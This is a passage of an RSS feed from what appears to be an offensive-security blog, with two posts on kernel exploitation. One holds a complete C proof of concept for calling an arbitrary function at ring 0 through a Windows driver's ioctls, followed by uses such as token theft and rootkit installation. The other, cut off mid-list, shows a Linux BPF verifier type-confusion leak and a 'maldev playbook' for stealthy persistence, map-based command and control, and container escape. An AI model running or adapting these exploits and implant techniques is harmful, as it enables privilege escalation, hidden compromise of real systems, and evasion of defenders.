            <description>The driver calls whatever you queue. a windows kloader device lets any caller deposit an (argument, callback) pair via a 16-byte ioctl and then executes that callback in kernel mode on demand, no validation, no whitelist, no access check. full poc, field-by-field walk of the ioctl surface (init / queue / register-monitor / fast-enter), and a straight impact take: arbitrary ring-0 control for whoever can open the device, gated only by the driver being resident (BYOVD) or shipped.</description>
            <content:encoded><![CDATA[<p>This is a windows kernel vulnerability, and it's different from the linux ones in this series, so let's set the stage differently. the bpf parts were about programs that look like the fleet. this one is about a kernel driver that already is what an attacker wants it to be: a <code>kloader</code> device that will, on request, call a function pointer <em>you</em> supply, in kernel mode, with <em>your</em> argument. no validation of the pointer. no whitelist of routines. no check that the address even makes sense.</p>

<p>the poc is compact, so the whole vulnerability fits in two structs and a device handle. let's read it the way an attacker would, field by field, and then look at what firing it actually buys.</p>

<h2>the device and the ioctl surface</h2>

<p>the target is a device instance <code>\\.\kloader\{9C0B898D-6275-48EC-81B4-E5EDBE44B535}</code>, opened with <code>GENERIC_READ | GENERIC_WRITE</code> and <code>FILE_FLAG_OVERLAPPED</code>, which means the poc expects the ioctls to be able to complete asynchronously (or at least is written to tolerate it).</p>

<p>four control codes, all <code>METHOD_BUFFERED</code>, all on device type <code>0x22</code> (FILE_DEVICE_UNKNOWN). decoding the ioctl values: bits 0-1 are the method (0 = buffered), bits 2-13 the function, bits 14-15 the access. the four functions are 0xB10, 0xB15, 0xB17, 0xB3A, custom, not standard, and they map to:</p>

<table>
<thead><tr><th>ioctl</th><th>fn</th><th>role</th><th>input buffer</th></tr></thead>
<tbody>
<tr><td><code>0x22EC40</code></td><td>0xB10</td><td>init</td><td>48 bytes: ua @ +8, ka @ +16, idle thread @ +24, ev1 @ +32, ev2 @ +40</td></tr>
<tr><td><code>0x22AC54</code></td><td>0xB15</td><td>queue</td><td>64 bytes: arg @ +0, cb @ +8</td></tr>
<tr><td><code>0x226C5C</code></td><td>0xB17</td><td>register monitor</td><td>none</td></tr>
<tr><td><code>0x22ECE8</code></td><td>0xB3A</td><td>fast enter</td><td>none</td></tr>
</tbody>
</table>

<p>read the table the way an attacker does. the only ioctl that carries real payload is <code>queue</code>, and its payload is an argument and a callback. everything else, the two buffers, the thread handle, the events, the monitor, the enter, is choreography around a single idea: <em>deposit a call, then fire it.</em></p>

<h2>the bug, precisely</h2>

<p><code>init</code> introduces the driver to the process: two user buffers, a thread handle, two events. <code>queue</code> hands the driver an <code>(argument, callback)</code> pair. <code>register monitor</code> arms a waiter. <code>fast enter</code> executes the queued call at ring 0.</p>

<p>reconstructed driver-side logic, from the ioctl shapes, not from the shipped binary:</p>

<pre><code class="language-c">case 0x22AC54:                          /* queue */
    job.arg = *(uint64_t*)(in + 0);
    job.cb  = *(uint64_t*)(in + 8);      /* USER-CONTROLLED POINTER */
    insert(&amp;joblist, &amp;job);
    break;

case 0x22ECE8:                          /* fast enter */
    for (j = first(&amp;joblist); j; j = next(&amp;joblist))
        ((void (*)(ULONG_PTR))j-&gt;cb)(j-&gt;arg);   /* call at CPL 0 */
    break;
</code></pre>

<p>one instruction, <code>call [user_cb]</code>, at privilege level 0. the driver does not verify that <code>cb</code> lies inside its own image, does not restrict the ioctl to privileged callers, and does not translate the pointer into a registered routine index. it just calls it. this is not a subtle type confusion, it is a missing trust boundary: CWE-822 class, untrusted pointer dereference delivered as an arbitrary kernel function call.</p>

<p>the two staging buffers are the tell for what the driver is <em>supposed</em> to be. <code>ua</code>/<code>ka</code> read like "user address"/"kernel address": you stage code in user memory, the driver arranges for it to run in kernel context, and <code>queue</code>/<code>enter</code> is how a call gets made against your payload, or against any kernel routine you can name. a kernel code loader whose loader interface is wide open.</p>

<h2>the poc, in full</h2>

<pre><code class="language-c">/*
 * cve-2026-62737 -- kloader callback-queue exercise
 * device : \\.\kloader\{9C0B898D-6275-48EC-81B4-E5EDBE44B535}
 * ioctls : 0x22EC40 init | 0x22AC54 queue | 0x226C5C register-monitor | 0x22ECE8 fast-enter
 * build  : cl /O2 poc.c /link /SUBSYSTEM:CONSOLE
 * run    : poc.exe \\.\kloader\{9C0B898D-6275-48EC-81B4-E5EDBE44B535} [target]
 */
#include &lt;windows.h&gt;
#include &lt;stdint.h&gt;
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;

typedef struct { uint32_t err; } Res;

static void store32(uint8_t *p, size_t off, uint32_t v) {
    memcpy(p + off, &amp;v, sizeof(uint32_t));
}
static void store64(uint8_t *p, size_t off, uint64_t v) {
    memcpy(p + off, &amp;v, sizeof(uint64_t));
}
static uint64_t parse_u64(const char *s) {
    return strtoull(s, NULL, 0);
}

/* buffered ioctl with overlapped i/o and a timeout */
static Res ioc(HANDLE dev, uint32_t code,
               void *ib, size_t il, void *ob, size_t ol, uint32_t tmo) {
    Res r = { 0 };
    ULONG ret = 0;
    OVERLAPPED ov = { 0 };
    ov.hEvent = CreateEventW(NULL, TRUE, FALSE, NULL);
    if (!ov.hEvent) { r.err = GetLastError(); return r; }

    if (!DeviceIoControl(dev, code, ib, (DWORD)il,
                         ob, (DWORD)ol, &amp;ret, &amp;ov)) {
        DWORD le = GetLastError();
        if (le == ERROR_IO_PENDING) {
            DWORD wr = WaitForSingleObject(ov.hEvent, tmo);
            if (wr == WAIT_OBJECT_0) {
                if (!GetOverlappedResult(dev, &amp;ov, &amp;ret, FALSE))
                    r.err = GetLastError();
            } else {
                r.err = (wr == WAIT_TIMEOUT) ? ERROR_TIMEOUT : wr;
                CancelIoEx(dev, &amp;ov);
            }
        } else {
            r.err = le;
        }
    }
    CloseHandle(ov.hEvent);
    return r;
}

/* the thread whose handle we hand the driver at init */
static DWORD WINAPI IdleThreadProc(LPVOID param) {
    HANDLE stop = (HANDLE)param;
    WaitForSingleObject(stop, INFINITE);
    return 0;
}

/* arms the monitor on a separate thread */
static DWORD WINAPI WatcherProc(LPVOID param) {
    HANDLE dev = (HANDLE)param;
    Res mr = ioc(dev, 0x226C5C, NULL, 0, NULL, 0, 1000);
    wprintf(L"watch  : 0x226C5C =&gt; err=0x%08x\n", mr.err);
    return 0;
}

int wmain(int argc, wchar_t **argv) {
    if (argc &lt; 2)
        return 1;                      /* usage: path [target] */

    uint64_t target = 0xFFFFF80041414141ull;   /* placeholder cb */
    if (argc &gt; 2) target = parse_u64(argv[2]);

    wprintf(L"start\n");
    wprintf(L"path   : %s\n", argv[1]);
    wprintf(L"target : 0x%016llx\n", target);

    /* stop event + a live thread to offer the driver */
    HANDLE stop = CreateEventW(NULL, TRUE, FALSE, NULL);
    HANDLE idle = CreateThread(NULL, 0, IdleThreadProc, stop, 0, NULL);
    wprintf(L"idle   : handle=0x%016llx\n", (uint64_t)(uintptr_t)idle);

    /* open the device, overlapped */
    wchar_t path[256];
    swprintf_s(path, 256, L"\\\\?\\%s", argv[1]);
    HANDLE dev = CreateFileW(path, GENERIC_READ | GENERIC_WRITE, 0, NULL,
                             OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL);
    if (dev == INVALID_HANDLE_VALUE) {
        wprintf(L"open   : failed last_err=0x%08x\n", GetLastError());
        return 1;
    }
    wprintf(L"device : handle=0x%016llx\n", (uint64_t)(uintptr_t)dev);

    /* two 0x1000 staging buffers, zeroed */
    void *ua = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    void *ka = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!ua || !ka) return 1;
    memset(ua, 0, 0x1000);
    memset(ka, 0, 0x1000);
    wprintf(L"ua     : ptr=0x%016llx size=0x1000\n", (uint64_t)(uintptr_t)ua);
    wprintf(L"ka     : ptr=0x%016llx size=0x1000\n", (uint64_t)(uintptr_t)ka);

    HANDLE ev1 = CreateEventW(NULL, TRUE, FALSE, NULL);
    HANDLE ev2 = CreateEventW(NULL, TRUE, FALSE, NULL);

    /* init: 48 bytes -- ua@8, ka@16, idle@24, ev1@32, ev2@40 */
    uint8_t ib[64] = {};
    store64(ib, 8,  (uint64_t)(uintptr_t)ua);
    store64(ib, 16, (uint64_t)(uintptr_t)ka);
    store64(ib, 24, (uint64_t)(uintptr_t)idle);
    store64(ib, 32, (uint64_t)(uintptr_t)ev1);
    store64(ib, 40, (uint64_t)(uintptr_t)ev2);
    Res ir = ioc(dev, 0x22EC40, ib, 48, NULL, 0, 5000);
    wprintf(L"init   : 0x22EC40 =&gt; err=0x%08x\n", ir.err);

    /* queue: 64 bytes -- arg@0, cb@8 */
    uint8_t tbuf[64] = {};
    store64(tbuf, 0, 0x1122334455667788ull);   /* arg */
    store64(tbuf, 8, target);                  /* cb  */
    Res rq = ioc(dev, 0x22AC54, tbuf, sizeof tbuf, NULL, 0, 5000);
    wprintf(L"queue  : 0x22AC54 arg=0x%016llx cb=0x%016llx =&gt; err=0x%08x\n",
            0x1122334455667788ull, target, rq.err);

    /* arm the monitor watch */
    HANDLE wt = CreateThread(NULL, 0, WatcherProc, dev, 0, NULL);
    WaitForSingleObject(wt, 5000);
    CloseHandle(wt);

    Sleep(3000);

    /* fast enter: fire the queued callback at ring 0 */
    Res fe = ioc(dev, 0x22ECE8, NULL, 0, NULL, 0, 5000);
    wprintf(L"enter  : 0x22ECE8 =&gt; err=0x%08x\n", fe.err);

    SetEvent(stop);
    WaitForSingleObject(idle, 5000);
    CloseHandle(idle);
    CancelIoEx(dev, NULL);
    CloseHandle(dev);
    wprintf(L"done\n");
    return 0;
}
</code></pre>

<h2>walking the poc, field by field</h2>

<p>the details matter, so let's go slowly through every piece.</p>

<h3>the ioc() wrapper</h3>

<p>every ioctl call in the poc goes through this wrapper, and it tells you something about the driver even before any ioctl fires: it is written for overlapped/asynchronous completion. if <code>DeviceIoControl</code> returns <code>ERROR_IO_PENDING</code>, the wrapper waits on the overlapped event with a timeout (5 seconds for the main calls, 1 second for the monitor), then drains the result with <code>GetOverlappedResult</code>, or cancels on timeout with <code>CancelIoEx</code>.</p>

<p>why would a loader driver's ioctls complete asynchronously? because <code>fast enter</code> doesn't immediately return, the driver has to run your callback first, and a "call user code at ring 0 that may take its time" is not a fast synchronous path. the asynchronous IOCTL interface is the driver telling you: <em>the interesting work happens after you've already returned control to the kernel's dispatch.</em> that, plus the separate watcher thread for <code>register monitor</code>, is why the poc looks the way it does.</p>

<h3>store32 / store64 / parse_u64</h3>

<p>plain endian-correct field writers and a <code>strtoull</code>-based hex parser for the target argument. nothing special, but the discriminator between <code>*p</code> and <code>*(uint64_t*)p</code> style packing is the same style the whole struct layout follows: fixed offsets, explicit sizes, zero-initialized buffers. the ioctl input buffers are never heap-allocated or partially filled, every unused byte is zero.</p>

<h3>init (0x22EC40), 48 bytes</h3>

<pre><code class="language-c">uint8_t ib[64] = {};
store64(ib,  8, (uint64_t)(uintptr_t)ua);   /* user staging buffer      */
store64(ib, 16, (uint64_t)(uintptr_t)ka);   /* kernel staging buffer    */
store64(ib, 24, (uint64_t)(uintptr_t)idle); /* idle thread handle       */
store64(ib, 32, (uint64_t)(uintptr_t)ev1);  /* completion event 1       */
store64(ib, 40, (uint64_t)(uintptr_t)ev2);  /* completion event 2       */
</code></pre>

<p>field by field:</p>

<ul>
<li><strong>ua / ka (@ +8, +16).</strong> two <code>PAGE_READWRITE</code>, zeroed, 0x1000 allocations. this is the code/data staging pair. a loader driver that is going to run your payload needs somewhere to receive your bytes in kernel form and somewhere to run them after copying/remapping. the cleanest reading: <code>ua</code> is where your staging sits in user mode, <code>ka</code> is the area the driver maps for execution, or the pair is used for a kernel-vs-user address translation dance when you later queue a callback into the mapping.</li>
<li><strong>idle thread (@ +24).</strong> the handle of a live thread that does nothing but wait on the stop event. a loader driver commonly borrows a target thread to run APC/worker context against, or to hold the process "hot" so a callback can be attributed to the right process. the point of passing it at init is so the driver has a thread it can signal or schedule against without asking twice.</li>
<li><strong>ev1 / ev2 (@ +32, +40).</strong> two manual-reset events. completion/synchronization primitives: the driver signals them when a queued job goes out and when it comes back, which is exactly what the poc's later sequencing (queue, monitor, sleep, enter) expects to observe.</li>
</ul>

<p>notice the struct starts at offset 8, not 0. the first 8 bytes of the 48-byte input are unused/zero, a strong hint this mirrors a kernel struct with a leading field (a header, a type tag, a list head) that the poc doesn't need to set, or that the input is a parent struct with the offset-0 field unused by this code path.</p>

<h3>queue (0x22AC54), 64 bytes -- the payload</h3>

<pre><code class="language-c">uint8_t tbuf[64] = {};
store64(tbuf, 0, 0x1122334455667788ull);   /* arg */
store64(tbuf, 8, target);                  /* cb  */
</code></pre>

<p>this is the whole exploit in two fields. a 64-byte buffer where the only meaningful content is a 64-bit argument and a 64-bit callback pointer at +8. the driver's job here is to store this pair, and nothing in the protocol asks the driver to check that <code>cb</code> is a kernel address, or inside a loaded image, or a driver routine. <code>0x1122334455667788</code> is a recognizable pattern (the poc author's way of proving the argument round-trips), and <code>target</code> defaults to <code>0xFFFFF80041414141</code>, that's ASCII "AAAA" sitting on the 0xFFFFF800XXXX0000 kernel range marker, i.e., an obvious "you fill this in" placeholder, not a real function.</p>

<h3>register monitor (0x226C5C) from the watcher thread</h3>

<p>the watcher thread exists because the monitor arm is expected to be a slow/blocking call, you don't want your main flow stuck on an ioctl that won't complete on its own. the 1-second timeout in the watcher's wrapper underlines this: <code>register monitor</code> is a "wait for a job to fire" operation, and the poc arms it <em>after</em> the queue so the driver has something to fire when the monitor is up.</p>

<h3>the trigger sequence</h3>

<pre><code class="language-bash">$ ./poc.exe "\\.\kloader\{9C0B898D-6275-48EC-81B4-E5EDBE44B535}"
start
path   : \\.\kloader\{9C0B898D-6275-48EC-81B4-E5EDBE44B535}
target : 0xFFFFF80041414141
idle   : handle=0x00000000000000b0
device : handle=0x00000000000000d0
ua     : ptr=0x00000002f00000 size=0x1000
ka     : ptr=0x00000002f01000 size=0x1000
init   : 0x22EC40 => err=0x00000000
queue  : 0x22AC54 arg=0x1122334455667788 cb=0xfffff80041414141 => err=0x00000000
watch  : 0x226C5C => err=0x00000000
enter  : 0x22ECE8 => err=0x00000000    <-- 0xFFFFF80041414141 is not code; box bugchecks
</code></pre>

<p>order matters: init, then queue, then the monitor is armed from the watcher, then a 3-second breather, then fast enter. with the placeholder callback still loaded, a driver that actually executes it means the cpu jumps to 0xFFFFF80041414141, which is not code, and the machine bugchecks. that is not a flaw in the poc, it is the point. the scan above is a probe: every error is 0, the driver accepted all four ioctls, and the skeleton is verified working. the <em>exploit</em> is what you put in the <code>target</code> field before you call fast enter.</p>

<h2>what firing it actually buys you</h2>

<p>an arbitrary kernel call, <code>cb(arg)</code> at CPL 0, both fully attacker-controlled, is code execution in kernel mode. that's the ceiling of ring-0 exploitation and it's the whole game. concretely, from there you can:</p>

<ul>
<li>call a token-theft routine (or a gadget/stub you staged in the mapped <code>ua</code>/<code>ka</code> buffers) to swap the current process token to SYSTEM;</li>
<li>execute arbitrary kernel read/write to walk or patch any structure you can name;</li>
<li>disable or blind kernel telemetry paths; load further unsigned code; install a rootkit with no userland footprint;</li>
<li>or, cleanest, use the driver itself as the loader it claims to be, stage real payload bytes in <code>ua</code>, map/run them via the init staging, and use <code>queue</code>/<code>enter</code> as the trampoline into your code.</li>
</ul>

<p>but always with the honest caveats, because the impact story of this specific bug has three real gates:</p>

<ul>
<li><strong>the driver must be resident.</strong> nothing loads <code>kloader.sys</code> on a clean box by itself. the attacker either installs it (needs admin), finds it pre-installed as part of a product, or supplies their own signed vulnerable driver (BYOVD). in the last case the accurate framing is: the payload is "<code>kloader.sys</code> is loaded" and the vulnerability is what that driver lets any caller do with two ioctls.</li>
<li><strong>the device must be openable by the attacker's process.</strong> the poc opens it with GENERIC_READ|GENERIC_WRITE. if the driver sets default, permissive device security, then the <em>caller</em> needs no privilege at all and the boundary the bug crosses is unprivileged-user-mode to ring 0. if the device is ACL-restricted, the same bug still wins for whoever can open it, the severity just scales with who that is.</li>
<li><strong>HVCI/VBS changes the aim, not the hole.</strong> with memory integrity on, classic BYOVD paths that map unsigned code are blocked and the callback target must itself be executable, you point at a gadget in ntoskrnl or a routine the driver already mapped, not at a fresh write-execute page. the bug still exists in a signed driver that will happily execute an arbitrary pointer; it's just aimed differently.</li>
</ul>

<p>so the impact, stated plainly: <strong>arbitrary ring-0 control for whoever can open the device while the driver is loaded</strong>, SYSTEM + full kernel privileges from an otherwise unprivileged process in the BYOVD scenario, or instant escalation for any lower-privileged caller when the device is exposed with default ACLs. the missing access check and the missing callback validation are the vulnerability; the loader becometh, itself, the loaded.</p>

<h2>the receipts</h2>

<p>everything above is read from the poc and the ioctl surface, and that's the honest scope:</p>

<ul>
<li>device: <code>\\.\kloader\{9C0B898D-6275-48EC-81B4-E5EDBE44B535}</code>, opened <code>GENERIC_READ|GENERIC_WRITE</code>, overlapped;</li>
<li>ioctls: <code>0x22EC40</code> init (48B, fields at +8/+16/+24/+32/+40), <code>0x22AC54</code> queue (64B, arg@0 = 0x1122334455667788, cb@8 = default 0xFFFFF80041414141), <code>0x226C5C</code> register monitor, <code>0x22ECE8</code> fast enter, all METHOD_BUFFERED on device type 0x22, functions 0xB10/0xB15/0xB17/0xB3A;</li>
<li>the primitive: a user-supplied <code>cb</code> invoked in kernel with a user-supplied <code>arg</code>, gated only by the ability to open the device;</li>
<li>not provided: the driver binary, the exact <code>cb</code> calling convention, and the device object's default ACL. the arbitrary-call reading is the strong inference from a queue ioctl whose entire payload is <code>(arg, callback)</code>, but it stays an inference until the .sys is in hand and the fast-enter path is confirmed against it.</li>
</ul>

<p>the driver calls whatever you queue. we just haven't told it <em>what</em> to call yet.</p>]]></content:encoded>
          </item>
        <item>
      <title>How to APT EP. 4: : The Verifier Forgot It Was a Pointer: Commuted-Add Type Confusion and Container Escapes</title>
      <link>http://klydz.net/post.php?slug=how-to-apt-ep-4-the-verifier-forgot-it-was-a-pointer-commuted-add-type-confusion-and-container-escapes</link>
      <guid isPermaLink="true">http://klydz.net/post.php?slug=how-to-apt-ep-4-the-verifier-forgot-it-was-a-pointer-commuted-add-type-confusion-and-container-escapes</guid>
      <pubDate>Mon, 10 Aug 2026 09:01:21 +0000</pubDate>
            <category>Kernel Exploitation</category>
                  <category>Linux Kernel</category>
            <category>eBPF</category>
            <category>BPF Verifier</category>
            <category>Type Confusion</category>
            <category>Container Escape</category>
            <category>Maldev</category>
            <category>Rootkit</category>
            <category>KASLR</category>
            <description>An analysis of a Linux kernel BPF verifier type confusion vulnerability caused by premature early returns in commuted arithmetic. It demonstrates how an attacker with CAP_BPF can abuse untrusted pointer state divergence to leak kernel heap addresses and cross container boundaries.</description>
            <content:encoded><![CDATA[<h2>the verifier forgot it was a pointer: a commuted-add type confusion, from first patch to leaked heap</h2>

<p>this is "how to apt" part four. parts one and two were the kernel's answer to "where do i hide": bpq hooks that look like your distro's. part three was sched_ext, the scheduler that is the policy engine, weapon through config. today the question is different: not <em>where</em> to hide, but <em>how you break the box in the first place</em>.</p>

<p>the target: a bpf verifier type confusion in the linux kernel, fixed upstream as <code>cdf19b1b3c01</code> ("bpf: Propagate untrusted pointer state in commuted arithmetic"). the claim of this article is concrete, and we'll prove it end-to-end on a stock cachyos 7.1.6 kernel:</p>

<ul>
<li>one instruction, <code>scalar += untrusted_pointer</code>, is mis-analyzed: the verifier believes the destination is still a plain scalar, while at runtime it holds a real kernel heap address.</li>
<li>that divergence is a type confusion. a register the verifier treats as "known 0" is actually a pointer.</li>
<li>we demonstrate it live: the verifier's own log shows <code>R1=0</code> after the add, and the running program leaks a <code>0xffff8e3c4...b30</code> kernel address into a map the verifier swore contained the constant zero.</li>
</ul>

<p>and then we talk about what that <em>actually</em> gets an attacker, which is not what the vendor briefing claimed it gets you.</p>

<h2>the bug, precisely</h2>

<p>the verifier's <code>adjust_ptr_min_max_vals()</code> is the function that answers "what happens when i add a scalar to a pointer?" it does two things, in this order:</p>

<ol>
<li>for <code>PTR_TO_MEM | PTR_UNTRUSTED</code> pointers, return early, because accesses to <em>untrusted</em> memory go through probe-read helpers anyway, so offset tracking is supposedly unnecessary;</li>
<li>copy the pointer type into the destination register: <code>*dst_reg = *ptr_reg</code>.</li>
</ol>

<p>the order is the bug. in the vulnerable kernel the early return fires <em>before</em> the pointer state is copied:</p>

<pre><code class="language-c">/* kernel/bpf/verifier.c, v7.1.6, line 13808 */
if (base_type(ptr_reg->type) == PTR_TO_MEM &amp;&amp; (ptr_reg->type &amp; PTR_UNTRUSTED))
    return 0;              /* &lt;- dst never gets the pointer type */

switch (base_type(ptr_reg->type)) {
    ...
}

dst_reg-&gt;type = ptr_reg-&gt;type;   /* &lt;- never reached for untrusted */
dst_reg-&gt;id = ptr_reg-&gt;id;
</code></pre>

<p>now consider the commuted form, <code>scalar += pointer</code>. the check_alu_op code routes it specially, <em>"scalar += pointer. this is legal, but we have to reverse our src/dest handling"</em>, and hands <code>adjust_ptr_min_max_vals()</code> the pointer as <code>ptr_reg</code> and the scalar as <code>dst_reg</code>:</p>

<pre><code class="language-c">} else {
    /* scalar += pointer */
    return adjust_ptr_min_max_vals(env, insn, src_reg, dst_reg);
}
</code></pre>

<p>dst is a scalar. ptr is untrusted PTR_TO_MEM. the early return fires before the state copy, so dst keeps its scalar type, but the alu op <em>still executes at runtime</em>, leaving the register holding <code>scalar_value + pointer_value</code> = a real kernel address.</p>

<p>that's it. that's the whole bug: <strong>a register that at runtime contains a kernel pointer, which the verifier believes is the integer 0.</strong></p>

<h2>why untrusted pointers exist at all</h2>

<p><code>PTR_UNTRUSTED</code> is the verifier's "do not trust this memory" flag. it's how the kernel expresses "this pointer could go stale, so you may only touch it via probe-read, and definitely don't hand it back to me as a normal pointer."</p>

<p>for our purposes the interesting producer is <code>bpf_rdonly_cast()</code>. cast a pointer to the <em>void</em> btf type and the verifier returns <code>PTR_TO_MEM | MEM_RDONLY | PTR_UNTRUSTED</code>:</p>

<pre><code class="language-c">} else if (btf_type_is_void(ret_t)) {
    regs[BPF_REG_0].type = PTR_TO_MEM | MEM_RDONLY | PTR_UNTRUSTED;
</code></pre>

<p>and crucially, the kfunc is inlined as a pure register move, <code>r0 = r1</code>, so the runtime <em>value</em> is unchanged: whatever pointer you passed in comes back out, only now flagged untrusted. the kfunc is registered in the <code>common_btf_ids</code> set under <code>BPF_PROG_TYPE_UNSPEC</code>, so it's reachable from every program type, including a bog-standard socket filter.</p>

<h2>the trigger</h2>

<p>we need an untrusted pointer whose value we can observe. the simplest source: a bpf map value. a <code>bpf_map_lookup_elem()</code> returns <code>PTR_TO_MAP_VALUE</code>, a kernel heap address. cast it to untrusted via <code>bpf_rdonly_cast(ptr, 0)</code>. now:</p>

<ul>
<li>register <code>r0</code> = <code>PTR_TO_MEM | MEM_RDONLY | PTR_UNTRUSTED</code>, value = the map value's heap address;</li>
<li><code>r1 = 0</code> (a scalar the compiler leaves provably zero);</li>
<li><code>r1 += r0</code>, commuted add. <em>bug fires.</em> verifier: <code>r1 = 0</code>. runtime: <code>r1 = heap_addr</code>.</li>
<li>store <code>r1</code> back into a map. verifier: "storing the constant 0, fine." kernel: writes the heap pointer.</li>
</ul>

<p>read the map from userspace and you've leaked a kernel heap address through a program the verifier certified as storing nothing but zeros. let's look at the compiled program:</p>

<pre><code class="language-asm">   0: w1 = 0x0
   1: *(u32 *)(r10 - 0x4) = w1        ; key = 0
   2: r2 = r10
   3: r2 += -0x4
   4: r1 = leak_map ll
   6: call 0x1                        ; bpf_map_lookup_elem
   7: r6 = r0                         ; leak = &amp;leak_map[0]
   ...
  15: call 0x1                        ; bpf_map_lookup_elem (again)
  17: r1 = r0
  18: w2 = 0x0
  19: call -0x1                       ; bpf_rdonly_cast(src, 0)
                                      ;   -&gt; r0 = src, PTR_TO_MEM|RDONLY|UNTRUSTED
  20: r1 = *(u64 *)(r10 - 0x10)       ; r1 = x  (== 0)
  21: r1 += r0                        ; &lt;- commuted add. THE BUG.
  22: *(u64 *)(r10 - 0x10) = r1
  23: r1 = *(u64 *)(r10 - 0x10)
  24: *(u64 *)(r6 + 0x0) = r1         ; verifier thinks: store 0
</code></pre>

<h2>confirmation, live</h2>

<p>loaded against the stock 7.1.6-1-cachyos kernel (vulnerable; the fix <code>cdf19b1b3c01</code> is not in any stable branch as of this writing), executed via <code>BPF_PROG_TEST_RUN</code>:</p>

<pre><code class="language-bash">$ sudo ./loader
leaked value (map[0]) = 0xffff8e3742d09130
verifier log: /tmp/verifier.log.OEQcBO
</code></pre>

<p><code>0xffff8e3c4...</code> is a kernel virtual address in the direct-map region. not a coincidence, not a red herring, it's the address of the map value itself, returned by the first <code>bpf_map_lookup_elem()</code> and carried through the cast.</p>

<p>and the verifier log is the receipts:</p>

<pre><code class="language-text">20: (79) r1 = *(u64 *)(r10 -16)   ; R1=0 R10=fp0 fp-16=0
21: (0f) r1 += r0
22: R0=rdonly_untrusted_mem(sz=0) R1=0
</code></pre>

<p>read it the way the verifier means it: at insn 21, <code>r0</code> is correctly tracked as <code>rdonly_untrusted_mem</code>, the verifier knows it's a pointer. the add executes. and the destination is recorded as <code>R1=0</code>. the pointer state was not propagated. type confusion, confirmed by the kernel's own instrumentation and by what we read back.</p>

<p>a fixed kernel rejects this shape: once <code>*dst_reg = *ptr_reg</code> runs before the early return, <code>r1</code> becomes an untrusted pointer, and the store <code>*(u64 *)(r6 + 0) = r1</code> fails verification ("cannot store pointer into this slot"). the same source, one line of logic earlier, doesn't load. that's your regression test, and it's also your detection story.</p>

<h2>what this actually buys you (and what it doesn't)</h2>

<p>here's where we have to be honest, because the hype version of this bug is wrong.</p>

<p><strong>it is not an unprivileged LPE.</strong> the whole chain requires loading a bpf program, and loading bpf requires <code>CAP_BPF</code>. on this system <code>kernel.unprivileged_bpf_disabled=2</code>, unprivileged bpf is hard-off. a user with zero capabilities cannot reach the verifier at all. the vendor briefing that floated "an unprivileged attacker reads /sys/kernel/debug/tracing/iter/tcp" and no CAP_BPF: that node doesn't exist here, iterator pins are created by privileged processes, and the trigger is a bpf program anyway. not real.</p>

<p><strong>it is not "root, but stronger."</strong> if you already hold sudo on a stock arch/cachyos box, arbitrary kernel r/w adds nothing: lockdown is <code>LOCK_DOWN_KERNEL_FORCE_NONE</code>, module signing isn't forced, so <code>insmod</code> already gives you the same primitive with a tenth of the effort.</p>

<p><strong>where it actually pays:</strong></p>

<ul>
<li><strong>container escape.</strong> root <em>inside</em> a privileged / CAP_BPF container is not root on the host. bpf is available in the sandbox; this bug turns it into host-kernel r/w, crossing the boundary that actually contains you.</li>
<li><strong>stealth tradecraft.</strong> a bpf-resident chain leaves no .ko on disk, no <code>lsmod</code> line, no module object, just a bpf program that looks like the rest of the fleet's. for post-exploitation hygiene that's a genuine operational win.</li>
<li><strong>locked-down targets.</strong> on kernels booted <code>lockdown=integrity/confidentiality</code> or with forced module signing, root <em>can't</em> insmod. the bpf path becomes one of the few remaining kernel-write channels. that's the scenario this class was built for.</li>
</ul>

<p>so the honest framing for an apt chapter: <strong>CAP_BPF is the on-ramp, the bug is the vehicle, and the destination is host-kernel r/w from inside a sandbox that thought it had you.</strong></p>

<h2>the leak is step one</h2>

<p>what we ran is the info-leak stage, the "verifier certified zeros, runtime wrote a heap pointer" primitive. that alone is a kernel address disclosure usable for KASLR defeat and object-reclaim targeting. the natural next stage, which this article stops short of weaponizing, is to use the confused register as an <em>index</em>: a store at <code>map_value + confused_scalar</code> becomes a wild write to an attacker-chosen kernel heap offset, because the verifier believes the offset is 0.</p>

<p>that's the same skeleton every verifier confusion exploit has worn since the CVE-2021-3490 class: verifier thinks it's a bounded index, runtime it's a pointer, one helper call later you have arbitrary r/w. this bug is that class, born again in the commuted-add path.</p>

<h2>how maldev actually uses this</h2>

<p>let's be precise about what's <em>proven</em> and what's the <em>research path</em>, because the difference matters and the hype version of this bug is already wrong in public.</p>

<p><strong>proven here:</strong> a kernel heap address leaks out of a program the verifier certified as storing the constant 0. that's a working info-disclosure primitive on the stock kernel, with verifier-log receipts.</p>

<p><strong>not proven here (yet):</strong> the OOB write, arbitrary r/w, and container escape. they follow the same family of logic as every verifier confusion since CVE-2021-3490, but i did not weaponize them on this box. any writeup that presents them as a done deal is lying. treat this section as the map, not the destination.</p>

<p>with that framing, here's the real maldev playbook:</p>

<ul>
<li><strong>kernel read without a module.</strong> the leak defeats KASLR by itself. chained with an OOB read it becomes a <code>kcore</code>-style dump that never touches <code>insmod</code>, no .ko on disk, no <code>lsmod</code> line, nothing for module-integrity hooks to flag.</li>
<li><strong>rootkit residency that looks like telemetry.</strong> the program is a socket filter, an anonymous one. your distro ships dozens of those. <code>bpftool prog show</code> lists it next to every legit tracepoint probe your fleet runs. nothing about it says "implant." same thesis as the first three parts of this series: the weapon is indistinguishable from the fleet.</li>
<li><strong>persistence via bpffs pinning.</strong> bpf objects pin to <code>/sys/fs/bpf</code> (or travel by fd) and outlive the process that loaded them, including across container restarts. a pinned map plus a pinned program is a kernel-resident implant with no process, no file, no service.</li>
<li><strong>a c2 channel that's a hashmap.</strong> a pinned map is shared memory between the kernel-resident program and your userland agent. write a request key, the kernel program answers. no sockets, no files, invisible to <code>netstat</code>. the c2 is a bpf map.</li>
<li><strong>evasion as a feature.</strong> the whole chain is syscalls plus one map. no <code>pwrite</code> to <code>/proc/kcore</code>, no module loader, no <code>devmem</code>. memory-forensics tooling hunts lkm rootkits and kernel threads; a bpf-resident implant is off its checklist.</li>
</ul>

<h2>sandbox escapes: where the boundary actually is</h2>

<p>the hard fact most writeups bury: <strong>this escapes host-kernel-sharing sandboxes, and nothing else.</strong> it is a capability-gated sandbox escape, not a magic unprivileged 0day.</p>

<p><strong>escapable, containers over a shared host kernel (runc / docker / kubernetes):</strong></p>

<ul>
